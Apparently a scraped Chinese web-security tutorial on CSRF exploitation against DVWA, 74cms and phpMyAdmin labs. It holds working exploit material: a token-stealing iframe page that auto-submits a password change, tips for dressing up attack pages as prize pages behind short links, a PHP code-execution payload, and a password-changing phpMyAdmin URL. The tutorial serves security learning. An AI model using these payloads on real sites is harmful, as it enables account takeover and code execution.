1. 程式人生 > >[紅日安全]Web安全Day3 - CSRF實戰攻防

[紅日安全]Web安全Day3 - CSRF實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。

大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡介-漏洞原理-漏洞危害-測試方法(手工測試,工具測試)-靶場測試(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章。如果你願意加入我們,一起完善這個專案,歡迎通過郵件形式([email protected])聯絡我們。

1.1 CSRF漏洞

1.1.1 CSRF漏洞簡介

CSRF(跨站請求偽造),是指利用受害者尚未失效的身份認證資訊( cookie、會話
等),誘騙其點選惡意連結或者訪問包含攻擊程式碼的頁面,在受害人不知情的情況下
以受害者的身份向(身份認證資訊所對應的)伺服器傳送請求,從而完成非法操作
(如轉賬、改密等)。CSRF與XSS最大的區別就在於,CSRF並沒有盜取cookie而是直接利用

1.1.2 CSRF漏洞分類

1.1.2.1 GET型

GET型CSRF漏洞,只需要構造URL,然後誘導受害者訪問利用。

1.1.2.2 POST型

POST型CSRF漏洞,需要構造自動提交或點選提交的表單,然後誘導受害者訪問或點選利用。

1.1.3 CSRF漏洞危害

未驗證 Referer或者使用 Token 導致使用者或者管理員可被 CSRF新增、修改、刪除等操作

1.1.4 CSRF漏洞修復方案

1、新增隨機token值,並驗證。
2、驗證Referer
3、關鍵請求使用驗證碼功能

1.2 CSRF漏洞利用

1.2.1 利用思路

尋找增刪改的地方,構造HTML,修改HTML表單中某些引數,使用瀏覽器開啟該HTML,點選提交表單後檢視響應結果,看該操作是否成功執行。

1.2.2 工具使用

1.2.2.1 burpsuite

使用burpsuite中Engagement tools的Generate CSRF PoC模組
右擊要csrf攻擊的url,選擇Generate CSRF POC模組


然後就構造好了攻擊指令碼,value就是要修改成的密碼

Test in browser一般用於自己測試用

然後點選copy

然後用代理burpsuite的瀏覽器開啟

點選submit request即可修改成功密碼

Copy HTML 一般用於攻擊其他人,複製下程式碼儲存為HTML文件
可以簡單修改箇中獎頁面,誘惑受害者點選


點選領獎成功修改密碼

1.2.2.2 CSRFTester

下載地址:https://www.owasp.org/index.php/File:CSRFTester-1.0.zip

下載後點擊run.bat

正常開啟,並監聽8008埠,需要把瀏覽器代理設定為8008

點選Start Recording,開啟CSRFTester檢測工作,我們這裡抓新增管理員的資料包

然後右擊刪除沒用的資料包

點選Generate HTML生成CSRF攻擊指令碼,我們這次新增test1賬號

開啟此檔案,成功新增賬號

1.2.2 CSRF漏洞利用例項之DVWA

1.2.2.1 安裝步驟

下載地址:https://codeload.github.com/ethicalhack3r/DVWA/zip/master
漏洞環境:windows、phpstudy
先把config目錄下config.inc.php.dist檔名修改為config.inc.php,資料庫密碼修改為自己的。

然後訪問dvwa,因為csrf漏洞不涉及紅色部分配置,直接建立即可

建立成功,賬號密碼是admin/password

這裡可以調相應的安全等級

1.2.2.2 low等級

從程式碼中可以看出未作任何防禦,直接更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先使用burpsuite進行抓修改密碼的資料包

再使用Generate CSRF PoC進行構造poc

CSRF HTML中的程式碼是構造好的

把構造好的程式碼複製出來,複製到自己建立的HTML檔案裡,value裡的值是要修改成的密碼。

點選submit request即可修改

修改成功

1.2.2.3 medium等級

從程式碼中可以看出先檢測referer是否包含主機名稱,再進行更改密碼。

if( isset( $_GET[ 'Change' ] ) ) {
   // Checks to see where the request came from
   if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
      // Get input
      $pass_new  = $_GET[ 'password_new' ];
      $pass_conf = $_GET[ 'password_conf' ];

      // Do the passwords match?
      if( $pass_new == $pass_conf ) {
         // They do!
         $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
         $pass_new = md5( $pass_new );

         // Update the database
         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
         $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

         // Feedback for the user
         $html .= "<pre>Password Changed.</pre>";
      }
      else {
         // Issue with passwords matching
         $html .= "<pre>Passwords did not match.</pre>";
      }
   }
   else {
      // Didn't come from a trusted source
      $html .= "<pre>That request didn't look correct.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

先看下phpinfo中SERVER_NAME是什麼

訪問poc,並抓包修改referer,新增localhost進行繞過

修改成功

1.2.2.4 high等級

從程式碼可以看出增加了Anti-CSRF token機制,使用者每次訪問更改頁面時,伺服器都會返回一個隨機token,向伺服器傳送請求時,並帶上隨機token,服務端接收的時候先對token進行檢查是否正確,才會處理客戶端請求。

if( isset( $_GET[ 'Change' ] ) ) {
   // Check Anti-CSRF token
   checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

   // Get input
   $pass_new  = $_GET[ 'password_new' ];
   $pass_conf = $_GET[ 'password_conf' ];

   // Do the passwords match?
   if( $pass_new == $pass_conf ) {
      // They do!
      $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      $pass_new = md5( $pass_new );

      // Update the database
      $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
      $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

      // Feedback for the user
      $html .= "<pre>Password Changed.</pre>";
   }
   else {
      // Issue with passwords matching
      $html .= "<pre>Passwords did not match.</pre>";
   }

   ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token

generateSessionToken();

要繞過Anti-CSRF token機制,首先要獲取token,再使用這個token進行修改密碼。
然後構造以下程式碼

<html>
<body>
<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }

</script>
<iframe src="http://192.168.1.108/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

</iframe>
<body onload="attack()">

  <form method="GET" id="transfer" action="http://192.168.1.108/dvwa/vulnerabilities/csrf">

   <input type="hidden" name="password_new" value="hongri">

    <input type="hidden" name="password_conf" value="hongri">

   <input type="hidden" name="user_token" value="">

  <input type="hidden" name="Change" value="Change">

   </form>

</body>
</html>

訪問後就立即修改密碼

1.2.2.5 參考文章

https://www.freebuf.com/articles/web/118352.html

1.2.3 CSRF漏洞利用例項之騎士cms

1.2.3.1 安裝步驟

騎士cms下載地址:http://www.74cms.com/download/load/id/155.html
漏洞環境:windows、phpstudy
存在漏洞:POS型CSRF、程式碼執行

下載解壓,訪問首頁

填寫資訊

安裝完成

1.2.3.2 利用過程

安裝好後,進入新增管理員介面進行抓包


使用Generate CSRF PoC生成HTML程式碼,並添加個中獎圖片,簡單偽裝成中獎頁面。

還可以用短域名繼續偽裝

然後誘導管理員開啟並點選,建立成功

使用建立的賬號密碼登入

使用程式碼執行漏洞執行phpinfo
poc:index.php?m=Admin&c=Tpl&a=set&tpl_dir=a'.${phpinfo()}.'

1.2.3.3 參考文章

http://www.yqxiaojunjie.com/index.php/archives/341/

1.2.4 CSRF漏洞利用例項之phpMyAdmin

1.2.4.1 安裝步驟

此漏洞使用VulnSpy線上靶機
靶機地址:https://www.vulnspy.com/?u=pmasa-2017-9
存在漏洞:GET型CSRF
點選開啟實驗

可以登入也可以不登入

開啟靶機地址,預設賬號密碼:root/toor,靶機只有十分鐘的時間

1.2.4.2 利用過程

將當前使用者密碼更改為hongri,SQL命令

SET passsword=PASSWORD('hongri');

構造poc

http://f1496b741e86dce4b2f79f3e839f977d.vsplate.me:19830/pma/sql.php?db=mysql&table=user&sql_query=SET%20password
%20=%20PASSWORD(%27hongri%27)

我們可以使用短域名偽裝

修改成功

1.2.4.3 參考文章

https://www.vulnspy.com/?u=pmasa-2017-9

相關推薦

[紅日安全]Web安全Day3 - CSRF實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。 大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡

[紅日安全]Web安全Day9 - 檔案下載漏洞實戰攻防

本文由紅日安全成員: Once 編寫,如有不當,還望斧正。 大家好,我們是紅日安全-Web安全攻防小組。此專案是關於Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助。每一篇文章都是於基於漏洞簡

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-4.CSRF

加載 submit serve 身份認證 學校 gen 輸入框 .cn clas 某天你登陸了某銀行的網上銀行,正在欣賞自己的余額,突然接收到一個QQ消息,“XX大學校花全裸照”。你興奮地點擊鏈接一看,照片是草地上一朵小花,背後是XX大學的大門。你生氣地關掉了網頁,過了幾分

以前寫的兩本書《安全之路:Web滲透技術及實戰案例解析(第2版)》和《黑客攻防實戰加密與解密》

Web滲透技術及實戰案例解析 黑客攻防實戰加密與解密 應一些朋友的要求,我重新將書封面和購買地址發一下說明一下:www.antian365.com原來域名轉移到國外去了。現在國家對境外域名在國內訪問必須實名制,進行備份啥的,情況你懂的。最近正在制作《黑客攻防實戰加密與解密》的視頻課程,對黑客攻防過程遇

[web安全]黑客攻防技術寶典-瀏覽器實戰篇--釣魚攻擊

釣魚攻擊是獲得使用者敏感資訊的一種方法。釣魚攻擊的目標通常是線上銀行使用者、PayPal、eBay等。 主要形式: 1.電子郵件釣魚 群發郵件,欺騙使用者點選惡意的連結或附件,獲取有價值的資訊。 2.網站釣魚 在網站上偽造一個網站,通常是模仿合法的某個網

[web安全]黑客攻防技術寶典-瀏覽器實戰篇--XSS Samy Worm

今天想了解一下書中介紹的Samy蠕蟲病毒。 這是一個在24小時內感染了100多萬MySpace使用者的病毒,傳播速度很快。 總結了下主要繞過的手段: 1.通過div的background:url引數執行初始的Javascript。 2.把程式碼儲存到表示式,通過style屬性執行

[web安全]黑客攻防技術寶典-瀏覽器實戰篇--第二章習題答案

大致看了下第二章,對文章裡面的細節在慢慢學習。 (1) 攻擊者如果想要在瀏覽器中執行自己的程式碼,需要採取哪些措施? 1.使用xss攻擊 瀏覽器執行了一些本不該執行的惡意指令碼,導致資訊洩露,篡改。 2.使用有隱患的web應用 攻擊者獲取對瀏覽器訪問權的一種方式。獲取

Web安全攻防-滲透測試實戰指南》讀書筆記

前言:本人大概花了2-3周的空閒時間讀完了第一遍這本書,也算是我第一本系統的從頭看到尾的web安全方向的書(Ps.《白帽子講web安全》到現在為止都沒看完,很尷尬,目

Web安全攻防:滲透測試實戰指南》筆記(一)

前言 這個系列是拜讀《Web安全攻防:滲透測試實戰指南》之後的一些筆記和實踐記錄,感謝作者對我學習過程的幫助,這本書值得大家入手學習。 資訊收集 1.獲取真實IP 繞過CDN尋找目標伺服器的真實IP,如果目標伺服器不存在CDN,可以通過www.i

Web攻防之業務安全實戰指南 Web安全漏洞分析技術教程書籍 電商銀行金融證券保險遊戲社交

理論篇 第1章 網路安全法律法規 2 中華人民共和國網路安全法 目 錄 第一章 總則 第二章 網路安全支援與促進 第三章 網路執行安全 第一節 一般規定 第二節 關鍵資訊基礎設施的執行安全 第四章 網路資訊保安 第五章 監

WEB安全實戰(四)關於 Cookie

round url 主動 gin 加密 文章 日期 就會 dex 前言 這幾天中,一直再跟漏洞打交道,而在這些漏洞中,出現的最多的就是 Cookie 和 Session 了。這篇文章就簡單的介紹一些 Cookie 中最經常使用的四個屬性。也算是為興許的文章做一個

36套精品Java高級課,架構課,java8新特性,P2P金融項目,程序設計,功能設計,數據庫設計,第三方支付,web安全,高並發,高性能,高可用,分布式,集群,電商,緩存,性能調優,設計模式,項目實戰,大型分布式電商項目實戰視頻教程

java cti 投資 調優 dubbo pac 性能 -s clas 36套精品Java高級課,架構課,java8新特性,P2P金融項目,程序設計,功能設計,數據庫設計,第三方支付,web安全,高並發,高性能,高可用,分布式,集群,電商,緩存,性能調優,設計模式,項

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-5.文件包含

devel 面板 mat 後臺 ace cloud 使用 讀取 fop 文件包含(File Inclusion):是指頁面利用url去動態包含文件(include或require等),當文件名參數可控但又過濾不嚴的時候,就容易被利用。文件包含漏洞分為本地文件包含漏洞與遠程文

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-1.DVWA部署

medium lec cte 第三章 min 命令 erl 修復方法 ble 課程概述: 紙上得來終覺淺,絕知此事要躬行。通過本課的學習和實戰演練,讓同學們深入理解並掌握常見Web安全漏洞的挖掘、利用技能,以及知曉修復方法。 課程大綱: 第一節.DVWA部署 第二節.暴力

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-3.命令註入

失效 我們 erro 原則 val post strip 得到 linux 命令註入(Command Injection):是指通過提交惡意構造的參數破壞命令語句結構,從而達到執行惡意命令的目的。 前面的基礎課程中,我們提到命令註入需要三個條件: 1. 是否調用系統命令?

【筆記】網易微專業-Web安全工程師-04.WEB安全實戰-7.SQL回顯註入

load 拼接 cti 欺騙 源碼 數據庫連接 exec numeric webshell 我們之前提到當忘記一個網站的密碼時,可以嘗試萬能密碼:用戶名處輸入admin‘--,其實這就是利用了SQL註入漏洞。 SQL註入(SQL Injection):是指攻擊者通過註入惡意

Web安全CSRF攻擊

for idt 例子 expr 由於 不能 防止 失效 內容 一、CSRF是什麽? CSRF(Cross Site Request Forgery),中文是跨站點請求偽造。CSRF攻擊者在用戶已經登錄目標網站之後,誘使用戶訪問一個攻擊頁面,利用目標網站對用戶的信任,以用戶身

20155201 網絡攻防技術 實驗九 Web安全基礎

cookie信息 。。 區分 基礎問題 永久 信息管理 註入攻擊 偽造 res 20155201 網絡攻防技術 實驗九 Web安全基礎 一、實踐內容 本實踐的目標理解常用網絡攻擊技術的基本原理。Webgoat實踐下相關實驗。 二、報告內容: 1. 基礎問題回答 1)SQ

[Web安全] XXE漏洞攻防學習(中)

div ESS passwd rem __name__ uri header requests 情況下 0x00、XXE漏洞攻擊實例 攻擊思路: 1. 引用外部實體遠程文件讀取 2. Blind XXE 3. Dos 0x01、外部實體引用,有回顯 實驗操作平臺:bWA

JAVA架構師大型分布式高並發電商項目實戰,性能優化,集群,億級高並發,web安全,緩存架構實戰

調用 希望 lec nta 微信 只有一個 常見問題 字段 屬性。 現任58到家技術委員會主席,高級技術總監,負責企業,支付,營銷、客戶關系等多個後端業務部門。本質,技術人一枚。互聯網架構技術專家,“架構師之路”公眾號作者。曾任百度高級工程師,58同城高級架構師,58